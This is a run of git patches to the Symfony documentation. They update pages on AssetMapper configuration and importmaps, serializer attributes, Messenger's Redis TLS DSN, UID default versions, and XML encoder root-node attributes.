+Whether to exclude any file starting with a ``.`` from the asset mapper. This
+is useful if you want to avoid leaking sensitive files like ``.env`` or
+``.gitignore`` in the files published by the asset mapper.
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            exclude_dotfiles: true
+
+This option is enabled by default.
+
+.. versionadded:: 7.1
+
+    The ``exclude_dotfiles`` option was introduced in Symfony 7.1.
+
 .. _config-importmap-polyfill:
 
 ``framework.asset_mapper.importmap_polyfill``

From eb5f971269c32ff2f4aeb29ec1d836e91a0bb75e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 28 Nov 2023 09:05:10 +0100
Subject: [PATCH 5435/7107] -

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 15b486816ad..58ebc46f382 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -968,9 +968,9 @@ is useful if you want to avoid leaking sensitive files like ``.env`` or
 
 This option is enabled by default.
 
-.. versionadded:: 7.1
+.. versionadded:: 6.4
 
-    The ``exclude_dotfiles`` option was introduced in Symfony 7.1.
+    The ``exclude_dotfiles`` option was introduced in Symfony 6.4.
 
 .. _config-importmap-polyfill:
 

From 674ff7d41ea9ea73c07f1547a1c7ae6d601f49a4 Mon Sep 17 00:00:00 2001
From: Alexander Kim <alex@kim.family>
Date: Tue, 28 Nov 2023 09:56:44 -0500
Subject: [PATCH 5436/7107] fix: serializer includes only accessible attributes
 by default

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 70101d5ab8b..c5b56796777 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -471,7 +471,7 @@ As for groups, attributes can be selected during both the serialization and dese
 Ignoring Attributes
 -------------------
 
-All attributes are included by default when serializing objects. There are two
+All accessible attributes are included by default when serializing objects. There are two
 options to ignore some of those attributes.
 
 Option 1: Using ``@Ignore`` Annotation

From b69746976a64a81ed939b549f54712fc2fb8eb5c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 28 Nov 2023 18:38:01 +0100
Subject: [PATCH 5437/7107] -

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c5b56796777..96e3408c1be 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -471,8 +471,8 @@ As for groups, attributes can be selected during both the serialization and dese
 Ignoring Attributes
 -------------------
 
-All accessible attributes are included by default when serializing objects. There are two
-options to ignore some of those attributes.
+All accessible attributes are included by default when serializing objects.
+There are two options to ignore some of those attributes.
 
 Option 1: Using ``@Ignore`` Annotation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3a7f83b182a3e86f4cc3ae5709d6ff71704abf51 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Tue, 28 Nov 2023 19:07:21 -0300
Subject: [PATCH 5438/7107] [Messenger] Update docs for Redis transport about
 TLS support

---
 messenger.rst | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0bd5afa23ff..2de70a2d0cc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1587,6 +1587,8 @@ The Redis transport DSN may looks like this:
     MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
+    # TLS Example
+    MESSENGER_TRANSPORT_DSN=rediss://localhost:6379/messages
 
 .. versionadded:: 5.1
 
@@ -1617,7 +1619,6 @@ stream_max_entries   The maximum number of entries which    ``0`` (which means "
                      the stream will be trimmed to. Set
                      it to a large enough number to
                      avoid losing pending messages
-tls                  Enable TLS support for the connection  false
 redeliver_timeout    Timeout before retrying a pending      ``3600``
                      message which is owned by an
                      abandoned consumer (if a worker died
@@ -1656,6 +1657,14 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The ``rediss://`` DSN scheme support for TLS protocol was introduced in Symfony 5.3.
+
+.. deprecated:: 5.3
+
+    The ``tls`` option was deprecated in Symfony 5.3, use ``rediss://`` DSN scheme for TLS support instead.
+
 .. deprecated:: 5.4
 
     Not setting a explicit value for the ``delete_after_ack`` option is

From edbaa0dd44d96cc6316c679f6dca6440b2fe81ab Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Wed, 29 Nov 2023 01:23:01 +0100
Subject: [PATCH 5439/7107] [UID] Fix default versions in framework config

Default UUID versions are
* 6 5 6 in Symfony 6.2 6.3 and 6.4
* 7 5 7 in Symfony >= 7.0

Sources:
* https://github.com/symfony/symfony/blob/6.4/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
* https://github.com/symfony/symfony/blob/7.0/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
---
 components/uid.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 52403513995..f27977a8296 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -94,10 +94,10 @@ configure the behavior of the factory using configuration files::
         # config/packages/uid.yaml
         framework:
             uid:
-                default_uuid_version: 7
+                default_uuid_version: 6
                 name_based_uuid_version: 5
                 name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8
-                time_based_uuid_version: 7
+                time_based_uuid_version: 6
                 time_based_uuid_node: 121212121212
 
     .. code-block:: xml
@@ -113,10 +113,10 @@ configure the behavior of the factory using configuration files::
 
             <framework:config>
                 <framework:uid
-                    default_uuid_version="7"
+                    default_uuid_version="6"
                     name_based_uuid_version="5"
                     name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8"
-                    time_based_uuid_version="7"
+                    time_based_uuid_version="6"
                     time_based_uuid_node="121212121212"
                 />
             </framework:config>
@@ -135,10 +135,10 @@ configure the behavior of the factory using configuration files::
 
             $container->extension('framework', [
                 'uid' => [
-                    'default_uuid_version' => 7,
+                    'default_uuid_version' => 6,
                     'name_based_uuid_version' => 5,
                     'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8',
-                    'time_based_uuid_version' => 7,
+                    'time_based_uuid_version' => 6,
                     'time_based_uuid_node' => 121212121212,
                 ],
             ]);
@@ -160,7 +160,7 @@ on the configuration you defined::
 
         public function generate(): void
         {
-            // This creates a UUID of the version given in the configuration file (v7 by default)
+            // This creates a UUID of the version given in the configuration file (v6 by default)
             $uuid = $this->uuidFactory->create();
 
             $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */);

From 23b1e14b191443c2465d41eb922caa4661edbc23 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 29 Nov 2023 07:11:51 +0100
Subject: [PATCH 5440/7107] -

---
 messenger.rst | 40 ----------------------------------------
 1 file changed, 40 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index f5c7957b76b..a8bf794bfc8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1596,7 +1596,6 @@ stream_max_entries       The maximum number of entries which    ``0`` (which mea
                          the stream will be trimmed to. Set
                          it to a large enough number to
                          avoid losing pending messages
-tls                      Enable TLS support for the connection  false
 redeliver_timeout        Timeout before retrying a pending      ``3600``
                          message which is owned by an
                          abandoned consumer (if a worker died
@@ -1617,45 +1616,6 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
-<<<<<<< HEAD
-.. versionadded:: 6.1
-
-    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
-    ``sentinel_master`` options were introduced in Symfony 6.1.
-=======
-===================  =====================================  =================================
-Option               Description                            Default
-===================  =====================================  =================================
-stream               The Redis stream name                  messages
-group                The Redis consumer group name          symfony
-consumer             Consumer name used in Redis            consumer
-auto_setup           Create the Redis group automatically?  true
-auth                 The Redis password
-delete_after_ack     If ``true``, messages are deleted      false
-                     automatically after processing them
-delete_after_reject  If ``true``, messages are deleted      true
-                     automatically if they are rejected
-lazy                 Connect only when a connection is      false
-                     really needed
-serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                     in Redis (the
-                     ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
-                     the stream will be trimmed to. Set
-                     it to a large enough number to
-                     avoid losing pending messages
-redeliver_timeout    Timeout before retrying a pending      ``3600``
-                     message which is owned by an
-                     abandoned consumer (if a worker died
-                     for some reason, this will occur,
-                     eventually you should retry the
-                     message) - in seconds.
-claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
-                     messages should be checked for to
-                     claim - in milliseconds
-===================  =====================================  =================================
->>>>>>> 5.4
-
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From c09286e4296fed52cb7b49b3317825edcd53fef7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9rage=20K=C3=A9vin?=
 <35264408+ktherage@users.noreply.github.com>
Date: Tue, 28 Nov 2023 12:07:36 +0100
Subject: [PATCH 5441/7107] Adding precision on how to define attributes on the
 root node for the XML Encoder

---
 components/serializer.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 96e3408c1be..9ce72892451 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1162,6 +1162,23 @@ the key  ``#comment`` can be used for encoding XML comments::
 You can pass the context key ``as_collection`` in order to have the results
 always as a collection.
 
+.. note::
+
+    You may need to add some attributes on the root node::
+
+        $encoder = new XmlEncoder();
+        $encoder->encode([
+            '@attribute1' => 'foo',
+            '@attribute2' => 'bar',
+            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
+        ], 'xml');
+
+        // will return:
+        // <?xml version="1.0"?>
+        // <response attribute1="foo" attribute2="bar">
+        // <foo bar="value">baz</foo>
+        // </response>
+
 .. tip::
 
     XML comments are ignored by default when decoding contents, but this

From 567111a4930289d81d7e00a3900f0990d5718958 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 29 Nov 2023 10:40:15 +0100
Subject: [PATCH 5442/7107] re-add versionadded directive

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index a8bf794bfc8..44bdb0f4c92 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1616,6 +1616,11 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
+.. versionadded:: 6.1
+
+    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
+    ``sentinel_master`` options were introduced in Symfony 6.1.
+
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From 875f4076713ad355283d76f4671dc26defc5192e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 29 Nov 2023 10:43:22 +0100
Subject: [PATCH 5443/7107] remove versionadded directives for Symfony 6

---
 frontend/asset_mapper.rst | 4 ----
 messenger.rst             | 5 -----
 2 files changed, 9 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 765668ed8ab..c0c8e11040e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -951,10 +951,6 @@ is useful if you want to avoid leaking sensitive files like ``.env`` or
 
 This option is enabled by default.
 
-.. versionadded:: 6.4
-
-    The ``exclude_dotfiles`` option was introduced in Symfony 6.4.
-
 .. _config-importmap-polyfill:
 
 ``framework.asset_mapper.importmap_polyfill``
diff --git a/messenger.rst b/messenger.rst
index d2f64e74230..8fc7e158cfe 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1586,11 +1586,6 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
-.. versionadded:: 6.1
-
-    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
-    ``sentinel_master`` options were introduced in Symfony 6.1.
-
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From 462f5ab58f626c5e9405cbde4f7e5ec85a55c750 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Sat, 25 Nov 2023 20:59:02 -0500
Subject: [PATCH 5444/7107] AssetMapper 6.4 docs

---
 frontend.rst                               | 138 ++----
 frontend/asset_mapper.rst                  | 493 ++++++++++-----------
 frontend/encore/babel.rst                  |   4 +-
 frontend/encore/bootstrap.rst              |   4 +-
 frontend/encore/cdn.rst                    |   4 +-
 frontend/encore/code-splitting.rst         |   4 +-
 frontend/encore/copy-files.rst             |   4 +-
 frontend/encore/css-preprocessors.rst      |   4 +-
 frontend/encore/custom-loaders-plugins.rst |   4 +-
 frontend/encore/faq.rst                    |   4 +-
 frontend/encore/index.rst                  |  54 +++
 frontend/encore/legacy-applications.rst    |   4 +-
 frontend/encore/postcss.rst                |   4 +-
 frontend/encore/reactjs.rst                |   6 +-
 frontend/encore/server-data.rst            |   4 +-
 frontend/encore/sourcemaps.rst             |   4 +-
 frontend/encore/split-chunks.rst           |   2 +-
 frontend/encore/typescript.rst             |   4 +-
 frontend/encore/url-loader.rst             |   4 +-
 frontend/encore/versioning.rst             |   4 +-
 frontend/encore/vuejs.rst                  |   6 +-
 21 files changed, 365 insertions(+), 394 deletions(-)
 create mode 100644 frontend/encore/index.rst

diff --git a/frontend.rst b/frontend.rst
index 235702beada..053fd8aec33 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -8,34 +8,45 @@ more advanced - like scaffolding your front-end with a tool like Next.js.
 However, Symfony *does* come with two powerful options to help you build a modern,
 fast frontend, *and* enjoy the process:
 
-* :ref:`Webpack Encore <frontend-webpack-encore>` is a powerful tool built with `Node.js`_
-  on top of `Webpack`_ that allows you to write modern CSS & JavaScript and handle
-  things like JSX (React), Vue or TypeScript.
-
-* :ref:`AssetMapper <frontend-asset-mapper>`, is a production-ready simpler alternative
-  to Webpack Encore that runs entirely in PHP.
-
-================================  =================  ======================================================
-                                  Encore             AssetMapper
-================================  =================  ======================================================
-Production Ready?                 yes                yes
-Stable?                           yes                yes
-Requirements                      Node.js            none: pure PHP
-Requires a build step?            yes                no
-Works in all browsers?            yes                yes
-Supports `Stimulus/UX`_           yes                yes
-Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes :ref:`[1] <ux-note-1>`
-Supports TypeScript               yes                no :ref:`[1] <ux-note-1>`
-================================  =================  ======================================================
+* :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs
+  entirely in PHP, doesn't require any build step and leverages modern web standards.
+
+* :ref:`Webpack Encore <frontend-webpack-encore>` is built with `Node.js`_
+  on top of `Webpack`_.
+
+================================  ==================================  ==========
+                                  AssetMapper                         Encore
+================================  ==================================  ==========
+Production Ready?                 yes                                 yes
+Stable?                           yes                                 yes
+Requirements                      none                                Node.js
+Requires a build step?            no                                  yes
+Works in all browsers?            yes                                 yes
+Supports `Stimulus/UX`_           yes                                 yes
+Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
+Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
+Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
+================================  ==================================  ==========
 
 .. _ux-note-1:
 
-**[1]** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+**[1]** Using JSX (React), Vue, etc with AssetMapper is possible, but you'll
 need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
+.. _frontend-asset-mapper:
+
+AssetMapper (Recommended)
+-------------------------
+
+AssetMapper is the recommended system for handling your assets. It runs entirely
+in PHP with *no* complex build step or dependencies. It does this by leveraging
+the ``importmap`` feature of your browser, which is available in all browsers thanks
+to a polyfill.
+
+:doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
+
 .. _frontend-webpack-encore:
 
 Webpack Encore
@@ -50,83 +61,15 @@ It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript mo
 pre-processing CSS & JS and compiling and minifying assets. Encore gives you a professional
 asset system that's a *delight* to use.
 
-Encore is inspired by `Webpacker`_ and `Mix`_, but stays in the spirit of Webpack:
-using its features, concepts and naming conventions for a familiar feel. It aims
-to solve the most common Webpack use cases.
-
-.. tip::
-
-    Encore is made by `Symfony`_ and works *beautifully* in Symfony applications.
-    But it can be used in any PHP application and even with other server-side
-    programming languages!
-
-.. _encore-toc:
-
-Encore Documentation
---------------------
-
-Getting Started
-...............
-
-* :doc:`Installation </frontend/encore/installation>`
-* :doc:`Using Webpack Encore </frontend/encore/simple-example>`
-
-Adding more Features
-....................
-
-* :doc:`CSS Preprocessors: Sass, LESS, etc. </frontend/encore/css-preprocessors>`
-* :doc:`PostCSS and autoprefixing </frontend/encore/postcss>`
-* :doc:`Enabling React.js </frontend/encore/reactjs>`
-* :doc:`Enabling Vue.js (vue-loader) </frontend/encore/vuejs>`
-* :doc:`/frontend/encore/copy-files`
-* :doc:`Configuring Babel </frontend/encore/babel>`
-* :doc:`Source maps </frontend/encore/sourcemaps>`
-* :doc:`Enabling TypeScript (ts-loader) </frontend/encore/typescript>`
-
-Optimizing
-..........
-
-* :doc:`Versioning (and the entrypoints.json/manifest.json files) </frontend/encore/versioning>`
-* :doc:`Using a CDN </frontend/encore/cdn>`
-* :doc:`/frontend/encore/code-splitting`
-* :doc:`/frontend/encore/split-chunks`
-* :doc:`/frontend/encore/url-loader`
-
-Guides
-......
-
-* :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
-* :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
-* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
-* :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
-* :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>`
-* :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>`
-* :doc:`Using Encore in a Virtual Machine </frontend/encore/virtual-machine>`
-
-Issues & Questions
-..................
-
-* :doc:`FAQ & Common Issues </frontend/encore/faq>`
-
-Full API
-........
-
-* `Full API`_
-
-.. _frontend-asset-mapper:
-
-AssetMapper
------------
-
-AssetMapper is an alternative to Webpack Encore that runs entirely in PHP
-without any complex build steps. It leverages the ``importmap`` feature of
-your browser, which is available in all browsers thanks to a polyfill.
-
-:doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
+:doc:`Read the Encore Documentation </frontend/encore/index>`
 
 Stimulus & Symfony UX Components
 --------------------------------
 
+Once you've installed AssetMapper or Encore, it's time to start building your
+front-end. You can write your JavaScript however you want, but we recommend
+using `Stimulus`_, `Turbo`_ and a set of tools called `Symfony UX`_.
+
 To learn about Stimulus & the UX Components, see:
 the `StimulusBundle Documentation`_
 
@@ -139,10 +82,9 @@ Other Front-End Articles
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
 .. _`Node.js`: https://nodejs.org/
-.. _`Webpacker`: https://github.com/rails/webpacker
-.. _`Mix`: https://laravel.com/docs/mix
-.. _`Symfony`: https://symfony.com/
-.. _`Full API`: https://github.com/symfony/webpack-encore/blob/master/index.js
 .. _`Webpack Encore screencast series`: https://symfonycasts.com/screencast/webpack-encore
 .. _StimulusBundle Documentation: https://symfony.com/bundles/StimulusBundle/current/index.html
 .. _Stimulus/UX: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _Stimulus: https://stimulus.hotwired.dev/
+.. _Turbo: https://turbo.hotwired.dev/
+.. _Symfony UX: https://ux.symfony.com
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f65aff65c17..a3b51f5e267 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -11,17 +11,17 @@ like the ``import`` statement and ES6 classes. And the HTTP/2 protocol means tha
 combining your assets to reduce HTTP connections is no longer urgent. This component
 is a light layer that helps serve your files directly to the browser.
 
-The AssetMapper component has two main features:
+The component has two main features:
 
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
-  are made available publicly and **versioned**. For example, you can reference
+  are made available publicly and **versioned**. You can reference
   ``assets/styles/app.css`` in a template with ``{{ asset('styles/app.css') }}``.
   The final URL will include a version hash, like ``/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
   without a build system. It's supported in all browsers (thanks to a shim)
-  and is part of the `HTML5 standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
+  and is part of the `HTML standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
 
 Installation
 ------------
@@ -47,12 +47,8 @@ It also *updated* the ``templates/base.html.twig`` file:
 
 .. code-block:: diff
 
-    {% block stylesheets %}
-    +    <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
-    {% endblock %}
-
     {% block javascripts %}
-    +    {{ importmap() }}
+    +    {{ importmap('app') }}
     {% endblock %}
 
 If you're not using Flex, you'll need to create & update these files manually. See
@@ -97,30 +93,6 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
-Paths Inside of CSS Files
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-From inside CSS, you can reference other files using the normal CSS ``url()``
-function and a relative path to the target file:
-
-.. code-block:: css
-
-    /* assets/styles/app.css */
-    .quack {
-        /* file lives at assets/images/duck.png */
-        background-image: url('../images/duck.png');
-    }
-
-The path in the final ``app.css`` file will automatically include the versioned URL
-for ``duck.png``:
-
-.. code-block:: css
-
-    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
-    .quack {
-        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
-    }
-
 Debugging: Seeing All Mapped Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -183,7 +155,7 @@ All modern browsers support the JavaScript `import statement`_ and modern
         }
     }
 
-Thanks to the ``{{ importmap() }}`` Twig function, which you'll learn all about in
+Thanks to the ``{{ importmap('app') }}`` Twig function call, which you'll learn about in
 this section, the ``assets/app.js`` file is loaded & executed by the browser.
 
 .. tip::
@@ -213,8 +185,10 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     // importmap.php
     return [
-        // ...
-
+        'app' => [
+            'path' => './assets/app.js',
+            'entrypoint' => true,
+        ],
         'bootstrap' => [
             'version' => '5.3.0',
         ],
@@ -224,10 +198,8 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
     such as ``@popperjs/core``. The ``importmap:require`` command will add both the
-    main package *and* its dependencies.
-
-After adding/updating the package in your ``importmap.php`` file, all new packages
-will be downloaded into an ``assets/vendor/`` directory.
+    main package *and* its dependencies. If a package includes a main CSS file,
+    that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`).
 
 Now you can import the ``bootstrap`` package like usual:
 
@@ -236,9 +208,10 @@ Now you can import the ``bootstrap`` package like usual:
     import { Alert } from 'bootstrap';
     // ...
 
-It's recommended to ignore the ``assets/vendor/`` directory and not commit it to
-your repository. Therefore, you'll need to run the ``php bin/console importmap:install``
-command to download the files on other computers if some files are missing:
+All packages in ``importmap.php`` are downloaded into an ``assets/vendor/`` directory,
+which should be ignored by git (the Flex recipe adds it to ``.gitignore`` for you).
+You'll need to run the ``php bin/console importmap:install``
+command to download the files on other computers if some are missing:
 
 .. code-block:: terminal
 
@@ -285,58 +258,68 @@ outputs an `importmap`_:
         "imports": {
             "app": "/assets/app-4e986c1a2318dd050b1d47db8d856278.js",
             "/assets/duck.js": "/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js",
-            "bootstrap": "https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm"
+            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f0935445d9c6022100863214b519a1f2.js"
         }
     }</script>
 
-Import maps are a native browser feature. They work in all browsers thanks to
-a "shim" file that's included automatically by the AssetMapper component
-(all *modern* browsers `support them natively <https://caniuse.com/import-maps>`_).
-
-When you import ``bootstrap`` from your JavaScript, the browser will look at
-the ``importmap`` and see that it should fetch the package from the URL.
+Import maps are a native browser feature. When you import ``bootstrap`` from
+JavaScript, the browser will look at the ``importmap`` and see that it should
+fetch the package from the associated path.
 
 .. _automatic-import-mapping:
 
-But where did the ``/assets/duck.js`` import entry come from? Great question!
+But where did the ``/assets/duck.js`` import entry come from? That doesn't live
+in ``importmap.php``. Great question!
 
 The ``assets/app.js`` file above imports ``./duck.js``. When you import a file using a
 relative path, your browser looks for that file relative to the one importing
 it. So, it would look for ``/assets/duck.js``. That URL *would* be correct,
 except that the ``duck.js`` file is versioned. Fortunately, the AssetMapper component
-sees that import and adds a mapping from ``/assets/duck.js`` to the correct, versioned
+sees the import and adds a mapping from ``/assets/duck.js`` to the correct, versioned
 filename. The result: importing ``./duck.js`` just works!
 
-Preloading and Initializing "app.js"
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The ``importmap()`` function also outputs an `ES module shim`_ so that
+`older browsers <https://caniuse.com/import-maps>`_ understand importmaps
+(see the :ref:`polyfill config <config-importmap-polyfill>`).
 
-In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `ES module shim`_ (see the :ref:`polyfill config <config-importmap-polyfill>`) and
-a few other things, like a set of "preloads":
+.. _app-entrypoint:
 
-.. code-block:: html
+The "app" Entrypoint & Preloading
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
-    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+An "entrypoint" is the main JavaScript file that the browser loads,
+and your app starts with one by default::
 
-In ``importmap.php``, each entry can have a ``preload`` option. If set to ``true``,
-a ``<link rel="modulepreload">`` tag is rendered for that entry as well as for
-any JavaScript files it imports (this happens for "relative" - ``./`` or ``../`` -
-imports only). This is a performance optimization and you can learn more about below
-in :ref:`Performance: Add Preloading <performance-preloading>`.
+    // importmap.php
+    return [
+        'app' => [
+            'path' => './assets/app.js',
+            'entrypoint' => true,
+        ],
+        // ...
+    ];
 
 .. _importmap-app-entry:
 
-The ``importmap()`` function also renders one more line:
+In addition to the importmap, the ``{{ importmap('app') }}`` in
+``base.html.twig`` outputs a few other things, including:
 
 .. code-block:: html
 
     <script type="module">import 'app';</script>
 
-So far, the snippets shown export an ``importmap`` and even hinted to the
-browser that it should preload some files. But the browser hasn't yet been told to
-actually parse and execute any JavaScript. This line does that: it imports the
-``app`` entry, which causes the code in ``assets/app.js`` to be executed.
+This line tells the browser to load the ``app`` importmap entry, which causes the
+code in ``assets/app.js`` to be executed.
+
+The ``importmap()`` function also outputs a set of "preloads":
+
+.. code-block:: html
+
+    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
+    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+
+This is a performance optimization and you can learn more about below
+in :ref:`Performance: Add Preloading <performance-preloading>`.
 
 Importing Specific Files From a 3rd Party Package
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -354,7 +337,7 @@ and a specific language:
     hljs.highlightAll();
 
 In this case, adding the ``highlight.js`` package to your ``importmap.php`` file
-won't work: whatever your importing - e.g. ``highlight.js/lib/core`` - needs to
+won't work: whatever you import - e.g. ``highlight.js/lib/core`` - needs to
 *exactly* match an entry in the ``importmap.php`` file.
 
 Instead, use ``importmap:require`` and pass it the exact paths you need. This
@@ -405,65 +388,121 @@ from inside ``app.js``:
     // things on "window" become global variables
     window.$ = $;
 
-Handling 3rd-Party CSS
-----------------------
+Handling CSS
+------------
 
-With the ``importmap:require`` command, you can quickly use any JavaScript
-package. But what about CSS? For example, the ``bootstrap`` package also contains
-a CSS file.
+.. versionadded:: 6.4
 
-Including CSS is a bit more manual, but still easy enough. To find the CSS,
-we recommend using `jsdelivr.com`_:
+    The ability to import CSS files was introduced in Symfony 6.4.
 
-#. Search for the package on `jsdelivr.com`_.
-#. Once on the package page (e.g. https://www.jsdelivr.com/package/npm/bootstrap),
-   sometimes the ``link`` tag to the CSS file will already be shown in the "Install" box.
-#. If not, click the "Files" tab and find the CSS file you need. For example,
-   the ``bootstrap`` package has a ``dist/css/bootstrap.min.css`` file. If you're
-   not sure which file to use, check the ``package.json`` file. Often
-   this will have a ``main`` or ``style`` key that points to the CSS file.
+CSS can be added to your page by importing it from a JavaScript file. The default
+``assets/app.js`` already imports ``assets/styles/app.css``:
 
-Once you have the URL, include it in ``base.html.twig``:
+.. code-block:: javascript
 
-.. code-block:: diff
+    // assets/app.js
+    import '../styles/app.css';
 
-    {% block stylesheets %}
